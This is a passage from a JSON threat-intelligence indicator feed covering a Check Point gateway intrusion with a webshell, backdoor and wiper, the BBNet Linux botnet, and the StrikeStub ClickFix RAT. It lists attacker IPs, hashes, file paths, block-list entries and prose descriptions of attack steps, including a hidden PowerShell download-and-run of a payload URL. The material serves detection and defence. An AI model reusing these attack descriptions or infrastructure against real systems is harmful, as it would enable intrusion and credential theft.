"Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/iocs.csv", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper", "share_url": "https://iocwatch.com/t/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/", "indicators": [ { "value": "130.94.19.204", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Attacker IP that scanned and exploited Check Point Mobile Access portals with PHP2Shell (CVE-2026-109618/109619) from 30 October 2026, first against Israeli organisations.", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" }, { "url": "https://blog.checkpoint.com/security/security-advisory-active-exploitation-of-php2shell-and-local-privilege-escalation/", "name": "Check Point" }, { "url": "https://www.spamhaus.org/drop/asndrop.json", "name": "Spamhaus" } ] }, { "value": "130.94.19.168", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Second attacker IP Check Point Research lists for the PHP2Shell gateway intrusions, on the same LightNode VPS range.", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" }, { "url": "https://blog.checkpoint.com/security/security-advisory-active-exploitation-of-php2shell-and-local-privilege-escalation/", "name": "Check Point" }, { "url": "https://www.spamhaus.org/drop/asndrop.json", "name": "Spamhaus" } ] }, { "value": "edb3e92eb7bda7413a09edcc4b1ba3cbed4bcdf42808a8abce63b6e4c3fda2b3", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "PHP webshell written as zz*.tpl into the Mobile Access login templates directory; the expanded version needs the key zz2026 and runs commands, PHP code and uploads to /tmp/.up.tpl.", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" } ] }, { "value": "4171b521fa6441382aa2fa014a08e18ff9a6e0ab6096c9144072bf46b37a2ec8", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "TSGA gateway backdoor as it relaunches under the name slot_CPconfigdaemon in the boot persistence directory, with encrypted remote access, configuration theft and firewall-log tampering.", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" } ] }, { "value": "d7549671c7189979f0624ec52dad9ea6a707d23146e3585ab8f8c4720eca0c63", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "TSGA backdoor dropped as /tmp/CPconfigdaemon and started with nohup, output sent to /tmp/.bd.log; it carries the TSProxy library written to /lib/libcpfwcommon.so.", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" } ] }, { "value": "3b51080a909023f7d484e2443740b572307ce0054eb9e32d98f0a06bfcd2db90", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "gogo scanner binary the attackers ran on the compromised gateway to map internal assets and services before moving to an ESXi host.", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" } ] }, { "value": "c7d9477309fac6c638a1128442056a242de086996add8cb49cd6496c36003237", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "destroy_v6 Linux wiper staged on the VMware ESXi host as /tmp/des; it zero-fills and deletes files under a target directory and drops DREAM_ANNEXATION.txt.", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" } ] }, { "value": "0522937c0c0337be54fe25493539e5f5f8ceb9742c980aaff1cfc9515f3a96f7", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "DREAM_ANNEXATION.txt, the politically themed note in Hebrew the wiper writes to each directory it destroys; it rejects ransom negotiation.", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" } ] }, { "value": "ee16e1695711b9d60c62925fcfb2fe1a29c18ae26565bc05410a14e16d2a39d7", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "philistine, the PhiliKit passive backdoor and installer for Ivanti VPN appliances that TSGA is derived from (uploaded to VirusTotal on 25 February 2026).", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" } ] }, { "value": "fb1a6235eb6bce8c9ec8cd8bb85f17c9c2bde8ecb45b7a243a30ceadf26654da", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "libdssafe.so, the PhiliKit networking library whose operator credentials, transport secrets and TLS certificate match TSProxy.", "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "name": "Check Point Research" } ] }, { "value": "CVE-2026-123039", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "Check Point identifier for the exploited Gaia DynamicCLI local privilege escalation: the root dynamic_server daemon accepts commands from anyone on the world-writable /tmp/dynamic_socket. Fixed in the November 2026 Jumbo Hotfix. Hunt /var/log/dynamicCli.log for Received = lines without the Clish wrapper.", "source_url": "https://support.checkpoint.com/results/sk/sk1000362", "source_label": "Check Point – sk1000362: CVE-2026-123039 local privilege escalation to root in the DynamicCLI process", "source_name": "Check Point", "sources": [ { "url": "https://support.checkpoint.com/results/sk/sk1000362", "name": "Check Point" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/hunt.kql", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/hunt.spl", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/hunt_raw.spl", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/hunt.yaral", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_hunt.yaral" } ] }, { "id": "BBNet-Linux-Botnet-Multi-Arch-Scanners", "folder": "threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners", "name": "BBNet: Multi-Architecture Linux Botnet with Divergent Scanners", "short": "BBNet Linux botnet", "category": "Malware / botnet", "published": "2026-11-05", "entry_date": "2026-11-12 15:11", "last_updated": "2026-11-12", "seq": 33, "headline": "Multi-arch Linux botnet that scans before it talks to C2, with no published C2 addresses or hashes", "summary": "PRODAFT's Threat Intelligence team, in a report dated 5 November 2026 and summarised publicly on 12 November by Security Online, analysed a 13.65 MB package recovered from an open directory and labelled the family BBNet. The archive holds a loader named infect.sh and 13 statically linked ELF binaries for ARM, AArch64, x86, MIPS and PowerPC (10 unique SHA-256 hashes; three filename pairs are byte-identical). After a double fork the implant copies itself to /etc, /var/lib or /tmp as .bbnet, writes @reboot entries in /etc/crontab and /etc/rc.local, and starts scanning before it ever registers with its controller, so blocking the C2 will not stop propagation. The x86-64 build brute-forces Telnet on TCP 23 and 2323; the other builds add 11 exploit handlers, including React Server Components CVE-2025-55182 and GNU Inetutils telnetd CVE-2026-24061, plus Hikvision, D-Link, Netgear, GPON, Huawei and Realtek flaws. Default C2 is plaintext TCP port 7778, with HTTP updates on port 7779; both can be changed at runtime. PRODAFT did not publish C2 addresses or file hashes in the public coverage, and the recovered package had no victim telemetry, so this entry is behaviours and file-name leads only. Patch the two CVEs, disable exposed Telnet, and hunt the .bbnet artefacts.", "caveat": "No C2 addresses or SHA-256 hashes were published in the public write-up of PRODAFT's report. File names such as infect.sh are generic; pair them with .bbnet artefacts. Ports 7778 and 7779 are defaults only and are not unique enough to block.", "targets": { "countries": [], "regions": [], "sectors": [ "Internet-facing Linux hosts", "Routers and network cameras", "React Server Components deployments" ], "note": "PRODAFT recovered the package from an open directory and published no victim telemetry; the scanners target Linux hosts, routers, cameras and React Server Components across ARM, AArch64, x86, MIPS and PowerPC.", "source": { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "name": "Security Online" } }, "mitre": [ { "id": "T1110", "name": "Brute Force", "url": "https://attack.mitre.org/techniques/T1110/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1053.003", "name": "Cron", "url": "https://attack.mitre.org/techniques/T1053/003/" }, { "id": "T1037", "name": "Boot or Logon Initialization Scripts", "url": "https://attack.mitre.org/techniques/T1037/" }, { "id": "T1498", "name": "Network Denial of Service", "url": "https://attack.mitre.org/techniques/T1498/" } ], "recommended_actions": [ "Hunt Linux and embedded hosts for hidden .bbnet binaries under /tmp, /var/lib and /etc, and for .bbnet.new, .bbnet_scan_on and .bbnet_scan.stats.", "Audit /etc/crontab and /etc/rc.local for unauthorised @reboot entries that launch .bbnet, and remove the binary and its persistence together; a C2 block alone will not stop the scanner child.", "Patch React Server Components (CVE-2025-55182) and GNU Inetutils telnetd (CVE-2026-24061), and disable exposed Telnet on ports 23 and 2323.", "Review firewall and NetFlow for bursts of Telnet authentication to 23/2323 and for processes named .bbnet connecting to TCP 7778 or HTTP 7779; do not block those ports globally." ], "sources": [ { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "name": "Security Online" } ], "indicator_count": 8, "block_now_count": 0, "hunt_count": 8, "hunt_counts": { "alert": 8 }, "indicator_counts": { "filename": 8 }, "ioas": [ { "artefact": "Telnet brute force against TCP ports 23 and 2323, including a SHELL_TEST echo check after a guessed credential", "log_source": "Firewall, IDS, honeypot and Linux endpoint network logs; Defender XDR DeviceNetworkEvents", "why": "The x86-64 BBNet build scans local /24 subnets on TCP 23 and 2323 with 20 credential pairs; the expanded scanner in the other builds uses 45 pairs. Blocking the C2 does not stop this pre-registration scanning.", "action": "hunt", "has_query": true, "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_name": "Security Online", "title": "Telnet brute force on TCP 23 and 2323", "queries": [ "KQL" ] }, { "artefact": "Exploitation attempts against React Server Components CVE-2025-55182 or GNU Inetutils telnetd CVE-2026-24061, or a follow-on fetch of infect.sh", "log_source": "Web, WAF and Telnet service logs; Defender XDR DeviceNetworkEvents and DeviceProcessEvents on Linux hosts", "why": "The expanded BBNet scanner includes 11 exploit handlers, among them CVE-2025-55182 (React Server Components multipart deserialisation) and CVE-2026-24061 (telnetd NEW-ENVIRON argument injection), plus Hikvision, D-Link, Netgear, GPON, Huawei and Realtek flaws. The HTTP helper marks a 'hit' as soon as the request is sent, so internal counts overstate successful exploitation. No unique exploit payload was published.", "action": "hunt", "has_query": true, "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_name": "Security Online", "title": "CVE-2025-55182 or CVE-2026-24061 exploitation, or infect.sh fetch", "queries": [ "KQL", "SPL" ] }, { "artefact": "New @reboot or similar entries in /etc/crontab or /etc/rc.local that launch a hidden .bbnet binary, without preserving a runtime C2 argument", "log_source": "Linux file integrity, auditd and Defender XDR DeviceFileEvents or DeviceProcessEvents", "why": "After a double fork, BBNet writes reboot entries into /etc/crontab and /etc/rc.local. Those entries omit runtime server arguments, so a restarted implant falls back to its compiled default C2.", "action": "alert", "has_query": true, "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_name": "Security Online", "title": "crontab or rc.local persistence launching .bbnet", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Multi-architecture ELF drops in /tmp, /var/tmp, /dev/shm or /var/run, saved as .b and then copied to /etc, /var/lib or /tmp as .bbnet, plus .bbnet.new, .bbnet_scan_on or .bbnet_scan.stats", "log_source": "Defender XDR DeviceFileEvents on Linux hosts; file integrity monitoring", "why": "infect.sh pulls 13 architecture binaries (ARM, AArch64, x86, MIPS and PowerPC; 10 unique SHA-256 hashes, unpublished in the public write-up), saves each candidate as .b, and runs it without checking the host CPU. The running implant then copies itself to .bbnet.", "action": "alert", "has_query": true, "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_name": "Security Online", "title": "Hidden .bbnet ELF drops and scanner state files", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Outbound plaintext TCP to port 7778 with a registration string, or HTTP to port 7779 for 16-character build markers, especially from a process whose image is .bbnet", "log_source": "Firewall, NetFlow and Defender XDR DeviceNetworkEvents on Linux hosts", "why": "After starting its scanner, the parent process connects to a default C2 port 7778 and sends a registration string (a random 24-character hex ID, architecture, OS, hostname and version). An HTTP updater checks port 7779. Both ports can be changed at runtime, and no C2 address was published.", "action": "hunt", "has_query": true, "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_name": "Security Online", "title": "Default C2 on TCP 7778 or updates on 7779 from .bbnet", "queries": [ "KQL" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/block_now.txt", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_block_now.txt" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/hunt.kql", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/hunt.spl", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/hunt_raw.spl", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/hunt.yaral", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/iocs.csv", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners", "share_url": "https://iocwatch.com/t/BBNet-Linux-Botnet-Multi-Arch-Scanners/", "indicators": [ { "value": "/tmp/.bbnet", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Hidden BBNet ELF copy dropped in /tmp after the implant detaches.", "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "source_name": "Security Online", "sources": [ { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "name": "Security Online" } ] }, { "value": "/etc/.bbnet", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Hidden BBNet ELF copy dropped in /etc when that directory is writable.", "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "source_name": "Security Online", "sources": [ { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "name": "Security Online" } ] }, { "value": "/var/lib/.bbnet", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Hidden BBNet ELF copy dropped in /var/lib when that directory is writable.", "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "source_name": "Security Online", "sources": [ { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "name": "Security Online" } ] }, { "value": "/tmp/.bbnet.new", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Staging path for an unsigned BBNet HTTP update (i686 builds use /tmp/.bbnet.new).", "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "source_name": "Security Online", "sources": [ { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "name": "Security Online" } ] }, { "value": "/var/tmp/.bbnet.new", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Staging path for an unsigned BBNet HTTP update on x86-64 builds.", "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "source_name": "Security Online", "sources": [ { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "name": "Security Online" } ] }, { "value": ".bbnet_scan_on", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "BBNet scanner state file left alongside the hidden .bbnet binary.", "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "source_name": "Security Online", "sources": [ { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "name": "Security Online" } ] }, { "value": ".bbnet_scan.stats", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "BBNet scanner statistics file; internal 'hit' counts overstate successful exploits.", "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "source_name": "Security Online", "sources": [ { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "name": "Security Online" } ] }, { "value": "infect.sh", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Loader script that walks /tmp, /var/tmp, /dev/shm and /var/run and tries 12 download methods to fetch the multi-arch BBNet binaries.", "source_url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "source_label": "Security Online – Multi-Architecture BBNet Linux Botnet Pairs Divergent Scanners With React and Telnet Exploits", "source_name": "Security Online", "sources": [ { "url": "https://securityonline.info/bbnet-linux-botnet-scanners-ddos/", "name": "Security Online" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/hunt.kql", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/hunt.spl", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/hunt_raw.spl", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BBNet-Linux-Botnet-Multi-Arch-Scanners/hunt.yaral", "download": "BBNet-Linux-Botnet-Multi-Arch-Scanners_hunt.yaral" } ] }, { "id": "StrikeStub-ClickFix-RAT-Stealer", "folder": "threats/2026-11_November-2026/2026-11-12/StrikeStub-ClickFix-RAT-Stealer", "name": "StrikeStub: ClickFix PowerShell Dropper and Modular RAT/Stealer", "short": "StrikeStub ClickFix RAT/stealer", "category": "Malware / RAT and stealer", "published": "2026-11-12", "entry_date": "2026-11-12 15:11", "last_updated": "2026-11-12", "seq": 32, "headline": "ClickFix PowerShell that drops a modular WebSocket RAT and stealer, with attacker staging on squidscript.com", "summary": "Akamai, writing on 12 November 2026, describes StrikeStub, a modular Windows remote access trojan and stealer likely sold as malware-as-a-service, delivered through a ClickFix lure on the compromised site spiraldirect.ch. A fake 'Verify you are human' prompt copies a hidden PowerShell command that downloads http://squidscript.com/Cloudflare.exe to %TEMP%\\svc.exe and runs it. The payload masquerades as RuntimeBroker.exe with spoofed Microsoft version resources, persists as Microsoft\\WindowsUpdate.exe through a Registry Run key and the user Startup folder, and talks to a config-driven C2 over WebSockets with the user agent StrikeStub/1.0. Operators can toggle hidden VNC, keylogging, webcam capture, live desktop streaming, clipboard monitoring and DPAPI theft of browser credentials. squidscript.com and the Cloudflare.exe URL are attacker infrastructure and are on the block list; spiraldirect.ch is a compromised legitimate site and is alert only. Akamai did not publish a sample hash or the C2 host, which is read from a runtime config, so hunt on the behaviours and the user agent as well as the staging URL.", "caveat": "Single-source indicators (Akamai). The C2 host and port are config-driven and were not published. spiraldirect.ch is a compromised legitimate site: alert only, do not block it as attacker infrastructure.", "targets": { "countries": [], "regions": [], "sectors": [], "note": "Akamai describes a ClickFix campaign delivered from a compromised Swiss site (spiraldirect.ch); no victim count or sector list was published.", "source": { "url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "label": "Akamai – Dissecting StrikeStub: ClickFix PowerShell Malware and Modular RAT", "name": "Akamai" } }, "mitre": [ { "id": "T1204.001", "name": "Malicious Link", "url": "https://attack.mitre.org/techniques/T1204/001/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1036.005", "name": "Match Legitimate Name or Location", "url": "https://attack.mitre.org/techniques/T1036/005/" }, { "id": "T1547.001", "name": "Registry Run Keys / Startup Folder", "url": "https://attack.mitre.org/techniques/T1547/001/" }, { "id": "T1071", "name": "Application Layer Protocol", "url": "https://attack.mitre.org/techniques/T1071/" }, { "id": "T1555.003", "name": "Credentials from Web Browsers", "url": "https://attack.mitre.org/techniques/T1555/003/" }, { "id": "T1056.001", "name": "Keylogging", "url": "https://attack.mitre.org/techniques/T1056/001/" }, { "id": "T1021", "name": "Remote Services", "url": "https://attack.mitre.org/techniques/T1021/" } ], "recommended_actions": [ "Block squidscript.com and http://squidscript.com/Cloudflare.exe (they are in the Defender XDR import file).", "Hunt for explorer.exe launching hidden PowerShell that uses iwr or irm to write %TEMP%\\svc.exe, for RuntimeBroker.exe running outside System32, and for WindowsUpdate.exe in a user Run key or Startup folder.", "Search proxy, firewall and TLS-inspection logs for the WebSocket user agent StrikeStub/1.0; the C2 address was not published.", "Treat spiraldirect.ch as a compromised site: alert on visits and review the host, but do not block the legitimate domain as if it were attacker infrastructure.", "If confirmed, isolate the host, remove the Run-key and Startup persistence, and rotate browser and other credentials that may have been taken through DPAPI." ], "sources": [ { "url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "label": "Akamai – Dissecting StrikeStub: ClickFix PowerShell Malware and Modular RAT", "name": "Akamai" } ], "indicator_count": 6, "block_now_count": 2, "hunt_count": 4, "hunt_counts": { "alert": 4 }, "indicator_counts": { "domain": 2, "filename": 2, "other": 1, "url": 1 }, "ioas": [ { "artefact": "explorer.exe launching powershell.exe with -w hidden and Invoke-WebRequest or Invoke-RestMethod (iwr or irm) saving a payload to %TEMP%\\svc.exe", "log_source": "Defender XDR DeviceProcessEvents", "why": "Akamai saw the compromised site copy a hidden PowerShell one-liner to the clipboard; after the victim pasted it into Win+R, explorer.exe launched PowerShell, which downloaded http://squidscript.com/Cloudflare.exe to %TEMP%\\svc.exe and started it.", "action": "alert", "has_query": true, "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_name": "Akamai", "title": "explorer.exe launching hidden PowerShell to drop svc.exe", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "RuntimeBroker.exe running from a path outside Windows\\System32, Windows\\SysWOW64 or WinSxS", "log_source": "Defender XDR DeviceProcessEvents", "why": "StrikeStub masquerades as RuntimeBroker.exe with spoofed Microsoft version resources, but it is a MinGW/GCC build. A genuine RuntimeBroker.exe lives under System32.", "action": "alert", "has_query": true, "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_name": "Akamai", "title": "RuntimeBroker.exe running outside System32", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "WindowsUpdate.exe persisting through a Registry Run key and as Microsoft\\WindowsUpdate.exe under the user Startup folder", "log_source": "Defender XDR DeviceRegistryEvents and DeviceFileEvents", "why": "StrikeStub uses dual persistence: a Run key and a Startup-folder drop named Microsoft\\WindowsUpdate.exe, separate from the RuntimeBroker disguise of the main payload.", "action": "alert", "has_query": true, "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_name": "Akamai", "title": "WindowsUpdate.exe Run-key and Startup persistence", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "WebSocket command-and-control traffic using the user agent StrikeStub/1.0", "log_source": "Proxy, firewall, TLS-inspection and web logs; endpoint network telemetry if user-agent fields are collected", "why": "Akamai recovered the StrikeStub/1.0 user agent from the RAT's WebSocket enrolment handshake. The C2 host and port are config-driven and were not published.", "action": "hunt", "has_query": false, "source_url": "https://www.akamai.com/blog/security-research/strikestub-clickfix-powershell-malware-modular-rat", "source_name": "Akamai", "title": "WebSocket C2 with user agent StrikeStub/1.0", "queries": [ "SPL" ] }, { "artefact": "Hidden VNC (hvnc_start), keylog files named 